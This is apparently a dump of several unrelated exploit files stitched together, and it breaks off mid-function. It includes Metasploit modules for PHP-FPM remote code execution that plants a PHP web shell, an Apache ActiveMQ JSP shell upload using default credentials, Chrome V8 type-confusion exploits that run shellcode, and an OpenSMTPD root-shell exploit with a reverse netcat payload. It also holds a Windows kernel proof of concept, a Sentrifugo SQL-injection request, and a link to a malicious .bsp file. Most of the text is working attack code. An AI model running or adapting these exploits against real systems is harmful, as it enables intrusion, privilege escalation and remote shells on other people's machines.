unless res
vprint_error("Error during sanity check")
return false
end
if res.code != @base_status
vprint_error(
"Invalid status code: #{res.code} (must be #{@base_status}). "\
"Maybe \".php\" suffix is required?"
)
return false
end
detect_method = self.class.detect_methods[datastore['DetectMethod']]
if detect_method.php_option_enabled?(res)
vprint_error(
"Detection method '#{datastore['DetectMethod']}' won't work since "\
"the PHP option has already been set on the target. Try another one"
)
return false
end
end
return true
end
def set_php_setting(php_setting:, qsl:, customh_length:, cmd: '')
res = nil
path = "/PHP_VALUE\n#{php_setting}"
pos_offset = 34
if path.length > pos_offset
vprint_error(
"The path size (#{path.length} bytes) is larger than the allowed size "\
"(#{pos_offset} bytes). Choose a shorter php.ini value (current: '#{php_setting}')")
return nil
end
path += ';' * (pos_offset - path.length)
res = send_crafted_request(
path: path,
qsl: qsl,
customh_length: customh_length,
cmd: cmd
)
unless res
vprint_error("error while setting #{php_setting} for qsl=#{qsl}, customh_length=#{customh_length}")
end
return res
end
def send_params_detection(qsl_candidates:, customh_length:, detect_method:)
php_setting = detect_method.php_option_enable
vprint_status("Iterating until the PHP option is enabled (#{php_setting})...")
customh_lengths = customh_length ? [customh_length] : (1..datastore['MaxCustomHeaderLength']).to_a
qsl_candidates.product(customh_lengths) do |qsl, c_length|
res = set_php_setting(php_setting: php_setting, qsl: qsl, customh_length: c_length)
unless res
vprint_error("Error for qsl=#{qsl}, customh_length=#{c_length}")
return nil
end
if res.code != @base_status
vprint_status("Status code #{res.code} for qsl=#{qsl}, customh_length=#{c_length}")
end
if detect_method.php_option_enabled?(res)
php_setting = detect_method.php_option_disable
vprint_status("Attack params found, disabling PHP option (#{php_setting})...")
set_php_setting(php_setting: php_setting, qsl: qsl, customh_length: c_length)
return { qsl: qsl, customh_length: c_length }
end
end
return nil
end
def detect_params(qsl_candidates)
customh_length = nil
if datastore['CustomHeaderLengthHint']
vprint_status(
"Using custom header length hint for max length (customh_length="\
"#{datastore['CustomHeaderLengthHint']})"
)
customh_length = datastore['CustomHeaderLengthHint']
end
detect_method = self.class.detect_methods[datastore['DetectMethod']]
return repeat_operation(
:send_params_detection,
qsl_candidates: qsl_candidates,
customh_length: customh_length,
detect_method: detect_method
)
end
def send_attack_chain
[
"short_open_tag=1",
"html_errors=0",
"include_path=/tmp",
"auto_prepend_file=#{@filename}",
"log_errors=1",
"error_reporting=2",
"error_log=/tmp/#{@filename}",
"extension_dir=\"<?=`\"",
"extension=\"$_GET[#{@http_param}]`?>\""
].each do |php_setting|
vprint_status("Sending php.ini setting: #{php_setting}")
res = set_php_setting(
php_setting: php_setting,
qsl: @params[:qsl],
customh_length: @params[:customh_length],
cmd: "/bin/sh -c '#{CHECK_COMMAND}'"
)
if res
return res if res.body.include?(SUCCESS_PATTERN)
else
print_error("Error when setting #{php_setting}")
return nil
end
end
return nil
end
def send_payload
disconnect(client) if client&.conn?
send_crafted_request(
path: '/',
qsl: @params[:qsl],
customh_length: @params[:customh_length],
cmd: payload.encoded,
allow_retry: false
)
Rex.sleep(1)
return session_created? ? true : nil
end
def send_backdoor_cleanup
cleanup_command = ";echo '<?php echo `$_GET[#{@http_param}]`;return;?>'>/tmp/#{@filename}"
res = send_crafted_request(
path: '/',
qsl: @params[:qsl],
customh_length: @params[:customh_length],
cmd: cleanup_command + ';' + CHECK_COMMAND
)
return res if res&.body.include?(SUCCESS_PATTERN)
return nil
end
def detect_qsl
qsl_candidates = []
(datastore['MinQSL']..datastore['MaxQSL']).step(datastore['QSLDetectStep']) do |qsl|
res = send_crafted_request(path: "/PHP\nabcdefghijklmopqrstuv.php", qsl: qsl)
unless res
vprint_error("Error when sending query with QSL=#{qsl}")
next
end
if res.code != @base_status
vprint_status("Status code #{res.code} for qsl=#{qsl}, adding as a candidate")
qsl_candidates << qsl
end
end
qsl_candidates
end
def check
print_status("Sending baseline query...")
res = send_crafted_request(path: "/path\ninfo.php")
return CheckCode::Unknown("Error when sending baseline query") unless res
@base_status = res.code
vprint_status("Base status code is #{@base_status}")
if datastore['QSLHint']
print_status("Skipping qsl detection, using hint (qsl=#{datastore['QSLHint']})")
qsl_candidates = [datastore['QSLHint']]
else
print_status("Detecting QSL...")
qsl_candidates = detect_qsl
end
if qsl_candidates.empty?
return CheckCode::Detected("No qsl candidates found, not vulnerable or something went wrong")
end
if qsl_candidates.size > datastore['MaxQSLCandidates']
return CheckCode::Detected("Too many qsl candidates found, looks like I got banned")
end
print_good("The target is probably vulnerable. Possible QSLs: #{qsl_candidates}")
qsl_candidates = extend_qsl_list(qsl_candidates)
vprint_status("Extended QSL list: #{qsl_candidates}")
print_status("Doing sanity check...")
return CheckCode::Detected('Sanity check failed') unless sanity_check?
print_status("Detecting attack parameters...")
@params = detect_params(qsl_candidates)
return CheckCode::Detected('Unable to detect parameters') unless @params
print_good("Parameters found: QSL=#{@params[:qsl]}, customh_length=#{@params[:customh_length]}")
print_good("Target is vulnerable!")
CheckCode::Vulnerable
ensure
disconnect(client) if client&.conn?
end
def exploit
unless check == CheckCode::Vulnerable
fail_with Failure::NotVulnerable, 'Target is not vulnerable.'
end
if @params[:qsl].nil? || @params[:customh_length].nil?
fail_with Failure::NotVulnerable, 'Attack parameters not found'
end
print_status("Performing attack using php.ini settings...")
if repeat_operation(:send_attack_chain)
print_good("Success! Was able to execute a command by appending '#{CHECK_COMMAND}'")
else
fail_with Failure::Unknown, 'Failed to send the attack chain'
end
print_status("Trying to cleanup /tmp/#{@filename}...")
if repeat_operation(:send_backdoor_cleanup)
print_good('Cleanup done!')
end
print_status("Sending payload...")
repeat_operation(:send_payload)
end
def send_cleanup(cleanup_cmd:)
res = send_crafted_request(
path: '/',
qsl: @params[:qsl],
customh_length: @params[:customh_length],
cmd: cleanup_cmd
)
return res if res && res.code != @base_status
return nil
end
def cleanup
return unless successful
kill_workers = 'for p in `pidof php-fpm`; do kill -9 $p;done'
rm = "rm -f /tmp/#{@filename}"
cleanup_cmd = kill_workers + ';' + rm
disconnect(client) if client&.conn?
print_status("Remove /tmp/#{@filename} and kill workers...")
if repeat_operation(:send_cleanup, cleanup_cmd: cleanup_cmd)
print_good("Done!")
else
print_bad(
"Could not cleanup. Run these commands before terminating the session: "\
"#{kill_workers}; #{rm}"
)
end
end
end
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'Apache ActiveMQ 5.x-5.11.1 Directory Traversal Shell Upload',
'Description' => %q{
This module exploits a directory traversal vulnerability (CVE-2015-1830) in Apache
ActiveMQ 5.x before 5.11.2 for Windows.
The module tries to upload a JSP payload to the /admin directory via the traversal
path /fileserver/..\\admin\\ using an HTTP PUT request with the default ActiveMQ
credentials admin:admin (or other credentials provided by the user). It then issues
an HTTP GET request to /admin/<payload>.jsp on the target in order to trigger the
payload and obtain a shell.
},
'Author' =>
[
'David Jorm', # Discovery and exploit
'Erik Wynter' # @wyntererik - Metasploit
],
'References' =>
[
[ 'CVE', '2015-1830' ],
[ 'EDB', '40857'],
[ 'URL', 'https://activemq.apache.org/security-advisories.data/CVE-2015-1830-announcement.txt' ]
],
'Privileged' => false,
'Platform' => %w{ win },
'Targets' =>
[
[ 'Windows Java',
{
'Arch' => ARCH_JAVA,
'Platform' => 'win'
}
],
],
'DisclosureDate' => '2015-08-19',
'License' => MSF_LICENSE,
'DefaultOptions' => {
'RPORT' => 8161,
'PAYLOAD' => 'java/jsp_shell_reverse_tcp'
},
'DefaultTarget' => 0))
register_options([
OptString.new('TARGETURI', [true, 'The base path to the web application', '/']),
OptString.new('PATH', [true, 'Traversal path', '/fileserver/..\\admin\\']),
OptString.new('USERNAME', [true, 'Username to authenticate with', 'admin']),
OptString.new('PASSWORD', [true, 'Password to authenticate with', 'admin'])
])
end
def check
print_status("Running check...")
testfile = Rex::Text::rand_text_alpha(10)
testcontent = Rex::Text::rand_text_alpha(10)
send_request_cgi({
'uri' => normalize_uri(target_uri.path, datastore['PATH'], "#{testfile}.jsp"),
'headers' => {
'Authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD'])
},
'method' => 'PUT',
'data' => "<% out.println(\"#{testcontent}\");%>"
})
res1 = send_request_cgi({
'uri' => normalize_uri(target_uri.path,"admin/#{testfile}.jsp"),
'headers' => {
'Authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD'])
},
'method' => 'GET'
})
if res1 && res1.body.include?(testcontent)
send_request_cgi(
opts = {
'uri' => normalize_uri(target_uri.path,"admin/#{testfile}.jsp"),
'headers' => {
'Authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD'])
},
'method' => 'DELETE'
},
timeout = 1
)
return Exploit::CheckCode::Vulnerable
end
Exploit::CheckCode::Safe
end
def exploit
print_status("Uploading payload...")
testfile = Rex::Text::rand_text_alpha(10)
vprint_status("If upload succeeds, payload will be available at #{target_uri.path}admin/#{testfile}.jsp") #This information is provided to allow for manual execution of the payload in case the upload is successful but the GET request issued by the module fails.
send_request_cgi({
'uri' => normalize_uri(target_uri.path, datastore['PATH'], "#{testfile}.jsp"),
'headers' => {
'Authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD'])
},
'method' => 'PUT',
'data' => payload.encoded
})
print_status("Payload sent. Attempting to execute the payload.")
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path,"admin/#{testfile}.jsp"),
'headers' => {
'Authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD'])
},
'method' => 'GET'
})
if res && res.code == 200
print_good("Payload executed!")
else
fail_with(Failure::PayloadFailed, "Failed to execute the payload")
end
end
end
#include <cstdio>
#include <windows.h>
extern "C" NTSTATUS NtUserMessageCall(HWND hWnd, UINT msg, WPARAM wParam, LPARAM lParam, ULONG_PTR ResultInfo, DWORD dwType, BOOL bAscii);
int main() {
HINSTANCE hInstance = GetModuleHandle(NULL);
WNDCLASSEX wcx;
ZeroMemory(&wcx, sizeof(wcx));
wcx.hInstance = hInstance;
wcx.cbSize = sizeof(wcx);
wcx.lpszClassName = L"SploitWnd";
wcx.lpfnWndProc = DefWindowProc;
wcx.cbWndExtra = 8; //pass check in xxxSwitchWndProc to set wnd->fnid = 0x2A0
printf("[*] Registering window\n");
ATOM wndAtom = RegisterClassEx(&wcx);
if (wndAtom == INVALID_ATOM) {
printf("[-] Failed registering SploitWnd window class\n");
exit(-1);
}
printf("[*] Creating instance of this window\n");
HWND sploitWnd = CreateWindowEx(0, L"SploitWnd", L"", WS_VISIBLE, 0, 0, 0, 0, NULL, NULL, hInstance, NULL);
if (sploitWnd == INVALID_HANDLE_VALUE) {
printf("[-] Failed to create SploitWnd window\n");
exit(-1);
}
printf("[*] Calling NtUserMessageCall to set fnid = 0x2A0 on window\n");
NtUserMessageCall(sploitWnd, WM_CREATE, 0, 0, 0, 0xE0, 1);
printf("[*] Allocate memory to be used for corruption\n");
PVOID mem = VirtualAlloc(0, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
printf("\tptr: %p\n", mem);
PBYTE byteView = (PBYTE)mem;
byteView[0x6c] = 1; // use GetKeyState in xxxPaintSwitchWindow
//pass DrawSwitchWndHilite double dereference
PVOID* ulongView = (PVOID*)mem;
ulongView[0x20 / sizeof(PVOID)] = mem;
printf("[*] Calling SetWindowLongPtr to set window extra data, that will be later dereferenced\n");
SetWindowLongPtr(sploitWnd, 0, (LONG_PTR)mem);
printf("[*] GetLastError = %x\n", GetLastError());
printf("[*] Creating switch window #32771, this has a result of setting (gpsi+0x154) = 0x130\n");
HWND switchWnd = CreateWindowEx(0, (LPCWSTR)0x8003, L"", 0, 0, 0, 0, 0, NULL, NULL, hInstance, NULL);
printf("[*] Simulating alt key press\n");
BYTE keyState[256];
GetKeyboardState(keyState);
keyState[VK_MENU] |= 0x80;
SetKeyboardState(keyState);
printf("[*] Triggering dereference of wnd->extraData by calling NtUserMessageCall second time");
NtUserMessageCall(sploitWnd, WM_ERASEBKGND, 0, 0, 0, 0x0, 1);
}
# Exploit Title: Sentrifugo HRMS 3.2 - 'id' SQL Injection
# Exploit Author: minhnb
# Website:
# Date: 2020-03-06
# Google Dork: N/A
# Vendor: http://www.sapplica.com
# Software Link: http://www.sentrifugo.com/download
# Affected Version: 3.2 and possibly before
# Patched Version: unpatched
# Category: Web Application
# Platform: PHP
# Tested on: Win10x64 & Kali Linux
# CVE: N/A
# 1. Technical Description:
# Sentrifugo HRMS version 3.2 and possibly before are affected by Blind SQL Injection in deptid
# parameter through POST request in "/sentrifugo/index.php/holidaygroups/add" resource.
# This allows a user of the application without permissions to read sensitive information from
# the database used by the application.
# 2. Proof Of Concept (PoC):
POST /sentrifugo/index.php/holidaygroups/add HTTP/1.1
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Referer: http://localhost/sentrifugo/index.php
Connection: keep-alive
Cookie: PHPSESSID=j4a2o4mq6frhfltq2a0h2spknh
Accept: */*
Accept-Encoding: gzip,deflate
Content-Length: 98
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.103 Safari/537.36
Cancel=1&description=555&groupname=e&id=0'XOR(if(now()=sysdate()%2Csleep(9)%2C0))XOR'Z&submit=Save
# 3. Payload:
Parameter: id (POST)
Type: time-based blind
Title: MySQL >= 5.0 time-based blind - Parameter replace
Payload: Cancel=1&description=555&groupname=e&id=0'XOR(if(now()=sysdate(),sleep(0),0))XOR'Z&submit=Save
# 4. Reference:
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ManualRanking
include Msf::Exploit::Remote::HttpServer
def initialize(info = {})
super(update_info(info,
'Name' => 'Google Chrome 72 and 73 Array.map exploit',
'Description' => %q{
This module exploits an issue in Chrome 73.0.3683.86 (64 bit).
The exploit corrupts the length of a float in order to modify the backing store
of a typed array. The typed array can then be used to read and write arbitrary
memory. The exploit then uses WebAssembly in order to allocate a region of RWX
memory, which is then replaced with the payload.
The payload is executed within the sandboxed renderer process, so the browser
must be run with the --no-sandbox option for the payload to work correctly.
},
'License' => MSF_LICENSE,
'Author' => [
'dmxcsnsbh', # discovery
'István Kurucsai', # exploit
'timwr', # metasploit module
],
'References' => [
['CVE', '2019-5825'],
['URL', 'https://bugs.chromium.org/p/chromium/issues/detail?id=941743'],
['URL', 'https://github.com/exodusintel/Chromium-941743'],
['URL', 'https://blog.exodusintel.com/2019/09/09/patch-gapping-chrome/'],
['URL', 'https://lordofpwn.kr/cve-2019-5825-v8-exploit/'],
],
'Arch' => [ ARCH_X64 ],
'Platform' => ['windows','osx'],
'DefaultTarget' => 0,
'Targets' => [ [ 'Automatic', { } ] ],
'DisclosureDate' => 'Mar 7 2019'))
register_advanced_options([
OptBool.new('DEBUG_EXPLOIT', [false, "Show debug information during exploitation", false]),
])
end
def on_request_uri(cli, request)
if datastore['DEBUG_EXPLOIT'] && request.uri =~ %r{/print$*}
print_status("[*] #{request.body}")
send_response(cli, '')
return
end
print_status("Sending #{request.uri} to #{request['User-Agent']}")
escaped_payload = Rex::Text.to_unescape(payload.encoded)
jscript = %Q^
// HELPER FUNCTIONS
let conversion_buffer = new ArrayBuffer(8);
let float_view = new Float64Array(conversion_buffer);
let int_view = new BigUint64Array(conversion_buffer);
BigInt.prototype.hex = function() {
return '0x' + this.toString(16);
};
BigInt.prototype.i2f = function() {
int_view[0] = this;
return float_view[0];
}
BigInt.prototype.smi2f = function() {
int_view[0] = this << 32n;
return float_view[0];
}
Number.prototype.f2i = function() {
float_view[0] = this;
return int_view[0];
}
Number.prototype.f2smi = function() {
float_view[0] = this;
return int_view[0] >> 32n;
}
Number.prototype.i2f = function() {
return BigInt(this).i2f();
}
Number.prototype.smi2f = function() {
return BigInt(this).smi2f();
}
// *******************
// Exploit starts here
// *******************
// This call ensures that TurboFan won't inline array constructors.
Array(2**30);
// we are aiming for the following object layout
// [output of Array.map][packed float array][typed array][Object]
// First the length of the packed float array is corrupted via the original vulnerability,
// then the float array can be used to modify the backing store of the typed array, thus achieving AARW.
// The Object at the end is used to implement addrof
// offset of the length field of the float array from the map output
const float_array_len_offset = 23;
// offset of the length field of the typed array
const tarray_elements_len_offset = 24;
// offset of the address pointer of the typed array
const tarray_elements_addr_offset = tarray_elements_len_offset + 1;
const obj_prop_b_offset = 33;
// Set up a fast holey smi array, and generate optimized code.
let a = [1, 2, ,,, 3];
let cnt = 0;
var tarray;
var float_array;
var obj;
function mapping(a) {
function cb(elem, idx) {
if (idx == 0) {
float_array = [0.1, 0.2];
tarray = new BigUint64Array(2);
tarray[0] = 0x41414141n;
tarray[1] = 0x42424242n;
obj = {'a': 0x31323334, 'b': 1};
obj['b'] = obj;
}
if (idx > float_array_len_offset) {
// minimize the corruption for stability
throw "stop";
}
return idx;
}
return a.map(cb);
}
function get_rw() {
for (let i = 0; i < 10 ** 5; i++) {
mapping(a);
}
// Now lengthen the array, but ensure that it points to a non-dictionary
// backing store.
a.length = (32 * 1024 * 1024)-1;
a.fill(1, float_array_len_offset, float_array_len_offset+1);
a.fill(1, float_array_len_offset+2);
a.push(2);
a.length += 500;
// Now, the non-inlined array constructor should produce an array with
// dictionary elements: causing a crash.
cnt = 1;
try {
mapping(a);
} catch(e) {
// relative RW from the float array from this point on
let sane = sanity_check()
print('sanity_check == ', sane);
print('len+3: ' + float_array[tarray_elements_len_offset+3].f2i().toString(16));
print('len+4: ' + float_array[tarray_elements_len_offset+4].f2i().toString(16));
print('len+8: ' + float_array[tarray_elements_len_offset+8].f2i().toString(16));
let original_elements_ptr = float_array[tarray_elements_len_offset+1].f2i() - 1n;
print('original elements addr: ' + original_elements_ptr.toString(16));
print('original elements value: ' + read8(original_elements_ptr).toString(16));
print('addrof(Object): ' + addrof(Object).toString(16));
}
}
function sanity_check() {
success = true;
success &= float_array[tarray_elements_len_offset+3].f2i() == 0x41414141;
success &= float_array[tarray_elements_len_offset+4].f2i() == 0x42424242;
success &= float_array[tarray_elements_len_offset+8].f2i() == 0x3132333400000000;
return success;
}
function read8(addr) {
let original = float_array[tarray_elements_len_offset+1];
float_array[tarray_elements_len_offset+1] = (addr - 0x1fn).i2f();
let result = tarray[0];
float_array[tarray_elements_len_offset+1] = original;
return result;
}
function write8(addr, val) {
let original = float_array[tarray_elements_len_offset+1];
float_array[tarray_elements_len_offset+1] = (addr - 0x1fn).i2f();
tarray[0] = val;
float_array[tarray_elements_len_offset+1] = original;
}
function addrof(o) {
obj['b'] = o;
return float_array[obj_prop_b_offset].f2i();
}
var wfunc = null;
var shellcode = unescape("#{escaped_payload}");
function get_wasm_func() {
var importObject = {
imports: { imported_func: arg => print(arg) }
};
bc = [0x0, 0x61, 0x73, 0x6d, 0x1, 0x0, 0x0, 0x0, 0x1, 0x8, 0x2, 0x60, 0x1, 0x7f, 0x0, 0x60, 0x0, 0x0, 0x2, 0x19, 0x1, 0x7, 0x69, 0x6d, 0x70, 0x6f, 0x72, 0x74, 0x73, 0xd, 0x69, 0x6d, 0x70, 0x6f, 0x72, 0x74, 0x65, 0x64, 0x5f, 0x66, 0x75, 0x6e, 0x63, 0x0, 0x0, 0x3, 0x2, 0x1, 0x1, 0x7, 0x11, 0x1, 0xd, 0x65, 0x78, 0x70, 0x6f, 0x72, 0x74, 0x65, 0x64, 0x5f, 0x66, 0x75, 0x6e, 0x63, 0x0, 0x1, 0xa, 0x8, 0x1, 0x6, 0x0, 0x41, 0x2a, 0x10, 0x0, 0xb];
wasm_code = new Uint8Array(bc);
wasm_mod = new WebAssembly.Instance(new WebAssembly.Module(wasm_code), importObject);
return wasm_mod.exports.exported_func;
}
function rce() {
let wasm_func = get_wasm_func();
wfunc = wasm_func;
// traverse the JSFunction object chain to find the RWX WebAssembly code page
let wasm_func_addr = addrof(wasm_func) - 1n;
print('wasm: ' + wasm_func_addr);
if (wasm_func_addr == 2) {
print('Failed, retrying...');
location.reload();
return;
}
let sfi = read8(wasm_func_addr + 12n*2n) - 1n;
print('sfi: ' + sfi.toString(16));
let WasmExportedFunctionData = read8(sfi + 4n*2n) - 1n;
print('WasmExportedFunctionData: ' + WasmExportedFunctionData.toString(16));
let instance = read8(WasmExportedFunctionData + 8n*2n) - 1n;
print('instance: ' + instance.toString(16));
//let rwx_addr = read8(instance + 0x108n);
let rwx_addr = read8(instance + 0xf8n) + 0n; // Chrome/73.0.3683.86
//let rwx_addr = read8(instance + 0xe0n) + 18n; // Chrome/69.0.3497.100
//let rwx_addr = read8(read8(instance - 0xc8n) + 0x53n); // Chrome/68.0.3440.84
print('rwx: ' + rwx_addr.toString(16));
// write the shellcode to the RWX page
if (shellcode.length % 2 != 0) {
shellcode += "\u9090";
}
for (let i = 0; i < shellcode.length; i += 2) {
write8(rwx_addr + BigInt(i*2), BigInt(shellcode.charCodeAt(i) + shellcode.charCodeAt(i + 1) * 0x10000));
}
// invoke the shellcode
wfunc();
}
function exploit() {
print("Exploiting...");
get_rw();
rce();
}
exploit();
^
if datastore['DEBUG_EXPLOIT']
debugjs = %Q^
print = function(arg) {
var request = new XMLHttpRequest();
request.open("POST", "/print", false);
request.send("" + arg);
};
^
jscript = "#{debugjs}#{jscript}"
else
jscript.gsub!(/\/\/.*$/, '') # strip comments
jscript.gsub!(/^\s*print\s*\(.*?\);\s*$/, '') # strip print(*);
end
html = %Q^
<html>
<head>
<script>
#{jscript}
</script>
</head>
<body>
</body>
</html>
^
send_response(cli, html, {'Content-Type'=>'text/html', 'Cache-Control' => 'no-cache, no-store, must-revalidate', 'Pragma' => 'no-cache', 'Expires' => '0'})
end
end
So I’ve been holding onto this neat little gem of a .bsp that has four bytes very close to the end of the file that controls the memory allocator. See above picture. Works on all supported operating systems last I checked (so Linux, Windows, and macOS), even after a few years.
Download ~ https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/48187.bsp
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Local
# smtpd(8) may crash on a malformed message
Rank = AverageRanking
include Msf::Exploit::Remote::TcpServer
include Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Expect
def initialize(info = {})
super(update_info(info,
'Name' => 'OpenSMTPD OOB Read Local Privilege Escalation',
'Description' => %q{
This module exploits an out-of-bounds read of an attacker-controlled
string in OpenSMTPD's MTA implementation to execute a command as the
root or nobody user, depending on the kind of grammar OpenSMTPD uses.
},
'Author' => [
'Qualys', # Discovery and PoC
'wvu' # Module
],
'References' => [
['CVE', '2020-8794'],
['URL', 'https://seclists.org/oss-sec/2020/q1/96']
],
'DisclosureDate' => '2020-02-24',
'License' => MSF_LICENSE,
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Privileged' => true, # NOTE: Only when exploiting new grammar
# Patched in 6.6.4: https://www.opensmtpd.org/security.html
# New grammar introduced in 6.4.0: https://github.com/openbsd/src/commit/e396a728fd79383b972631720cddc8e987806546
'Targets' => [
['OpenSMTPD < 6.6.4 (automatic grammar selection)',
patched_version: Gem::Version.new('6.6.4'),
new_grammar_version: Gem::Version.new('6.4.0')
]
],
'DefaultTarget' => 0,
'DefaultOptions' => {
'SRVPORT' => 25,
'PAYLOAD' => 'cmd/unix/reverse_netcat',
'WfsDelay' => 60 # May take a little while for mail to process
},
'Notes' => {
'Stability' => [CRASH_SERVICE_DOWN],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS]
}
))
register_advanced_options([
OptFloat.new('ExpectTimeout', [true, 'Timeout for Expect', 3.5])
])
# HACK: We need to run check in order to determine a grammar to use
options.remove_option('AutoCheck')
end
def srvhost_addr
Rex::Socket.source_address(session.session_host)
end
def rcpt_to
"#{rand_text_alpha_lower(8..42)}@[#{srvhost_addr}]"
end
def check
smtpd_help = cmd_exec('smtpd -h')
if smtpd_help.empty?
return CheckCode::Unknown('smtpd(8) help could not be displayed')
end
version = smtpd_help.scan(/^version: OpenSMTPD ([\d.p]+)$/).flatten.first
unless version
return CheckCode::Unknown('OpenSMTPD version could not be found')
end
version = Gem::Version.new(version)
if version < target[:patched_version]
if version >= target[:new_grammar_version]
vprint_status("OpenSMTPD #{version} is using new grammar")
@grammar = :new
else
vprint_status("OpenSMTPD #{version} is using old grammar")
@grammar = :old
end
return CheckCode::Appears(
"OpenSMTPD #{version} appears vulnerable to CVE-2020-8794"
)
end
CheckCode::Safe("OpenSMTPD #{version} is NOT vulnerable to CVE-2020-8794")
end
def exploit
# NOTE: Automatic check is implemented by the AutoCheck mixin
super
start_service
sendmail = "/usr/sbin/sendmail '#{rcpt_to}' < /dev/null && echo true"
print_status("Executing local sendmail(8) command: #{sendmail}")
if cmd_exec(sendmail) != 'true'
fail_with(Failure::Unknown, 'Could not send mail. Is OpenSMTPD running?')
end
end
def on_client_connect(client)
print_status("Client #{client.peerhost}:#{client.peerport} connected")
# Brilliant work, Qualys!
case @grammar
when :new
print_status('Exploiting new OpenSMTPD grammar for a root shell')
yeet = <<~EOF
553-
553
dispatcher: local_mail
type: mda
mda-user: root
mda-exec: #{payload.encoded}; exit 0\x00
EOF
when :old
print_status('Exploiting old OpenSMTPD grammar for a nobody shell')
yeet = <<~EOF
553-
553
type: mda
mda-method: mda
mda-usertable: <getpwnam>
mda-user: nobody
mda-buffer: #{payload.encoded}; exit 0\x00
EOF
else
fail_with(Failure::BadConfig, 'Could not determine OpenSMTPD grammar')
end
sploit = {
'220' => /EHLO /,
'250' => /MAIL FROM:<[^>]/,
yeet => nil
}
print_status('Faking SMTP server and sending exploit')
sploit.each do |line, pattern|
send_expect(
line,
pattern,
sock: client,
newline: "\r\n",
timeout: datastore['ExpectTimeout']
)
end
rescue Timeout::Error => e
fail_with(Failure::TimeoutExpired, e.message)
ensure
print_status("Disconnecting client #{client.peerhost}:#{client.peerport}")
client.close
end
def on_client_close(client)
print_status("Client #{client.peerhost}:#{client.peerport} disconnected")
end
end
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ManualRanking
include Msf::Post::File
include Msf::Exploit::Remote::HttpServer
def initialize(info = {})
super(update_info(info,
'Name' => 'Google Chrome 80 JSCreate side-effect type confusion exploit',
'Description' => %q{
This module exploits an issue in Google Chrome 80.0.3987.87 (64 bit). The exploit
corrupts the length of a float array (float_rel), which can then be used for out
of bounds read and write on adjacent memory.
The relative read and write is then used to modify a UInt64Array (uint64_aarw)
which is used for read and writing from absolute memory.
The exploit then uses WebAssembly in order to allocate a region of RWX memory,
which is then replaced with the payload shellcode.
The payload is executed within the sandboxed renderer process, so the browser
must be run with the --no-sandbox option for the payload to work correctly.
},
'License' => MSF_LICENSE,
'Author' => [
'Clément Lecigne', # discovery
'István Kurucsai', # exploit
'Vignesh S Rao', # exploit
'timwr', # metasploit copypasta
],
'References' => [
['CVE', '2020-6418'],
['URL', 'https://bugs.chromium.org/p/chromium/issues/detail?id=1053604'],
['URL', 'https://blog.exodusintel.com/2020/02/24/a-eulogy-for-patch-gapping'],
['URL', 'https://ray-cp.github.io/archivers/browser-pwn-cve-2020-6418%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90'],
],
'Arch' => [ ARCH_X64 ],
'DefaultTarget' => 0,
'Targets' =>
[
['Windows 10 - Google Chrome 80.0.3987.87 (64 bit)', {'Platform' => 'win'}],
['macOS - Google Chrome 80.0.3987.87 (64 bit)', {'Platform' => 'osx'}],
],
'DisclosureDate' => 'Feb 19 2020'))
register_advanced_options([
OptBool.new('DEBUG_EXPLOIT', [false, "Show debug information during exploitation", false]),
])
end
def on_request_uri(cli, request)
if datastore['DEBUG_EXPLOIT'] && request.uri =~ %r{/print$*}
print_status("[*] #{request.body}")
send_response(cli, '')
return
end
print_status("Sending #{request.uri} to #{request['User-Agent']}")
escaped_payload = Rex::Text.to_unescape(payload.raw)
jscript = %Q^
var shellcode = unescape("#{escaped_payload}");
// HELPER FUNCTIONS
let conversion_buffer = new ArrayBuffer(8);
let float_view = new Float64Array(conversion_buffer);
let int_view = new BigUint64Array(conversion_buffer);
BigInt.prototype.hex = function() {
return '0x' + this.toString(16);
};
BigInt.prototype.i2f = function() {
int_view[0] = this;
return float_view[0];
}
BigInt.prototype.smi2f = function() {
int_view[0] = this << 32n;
return float_view[0];
}
Number.prototype.f2i = function() {
float_view[0] = this;
return int_view[0];
}
Number.prototype.f2smi = function() {
float_view[0] = this;
return int_view[0] >> 32n;
}
Number.prototype.fhw = function() {
float_view[0] = this;
return int_view[0] >> 32n;
}
Number.prototype.flw = function() {
float_view[0] = this;
return int_view[0] & BigInt(2**32-1);
}
Number.prototype.i2f = function() {
return BigInt(this).i2f();
}
Number.prototype.smi2f = function() {
return BigInt(this).smi2f();
}
function hex(a) {
return a.toString(16);
}
//
// EXPLOIT
//
// the number of holes here determines the OOB write offset
let vuln = [0.1, ,,,,,,,,,,,,,,,,,,,,,, 6.1, 7.1, 8.1];
var float_rel; // float array, initially corruption target
var float_carw; // float array, used for reads/writes within the compressed heap
var uint64_aarw; // uint64 typed array, used for absolute reads/writes in the entire address space
var obj_leaker; // used to implement addrof
vuln.pop();
vuln.pop();
vuln.pop();
function empty() {}
function f(nt) {
// The compare operation enforces an effect edge between JSCreate and Array.push, thus introducing the bug
vuln.push(typeof(Reflect.construct(empty, arguments, nt)) === Proxy ? 0.2 : 156842065920.05);
for (var i = 0; i < 0x10000; ++i) {};
}
let p = new Proxy(Object, {
get: function() {
vuln[0] = {};
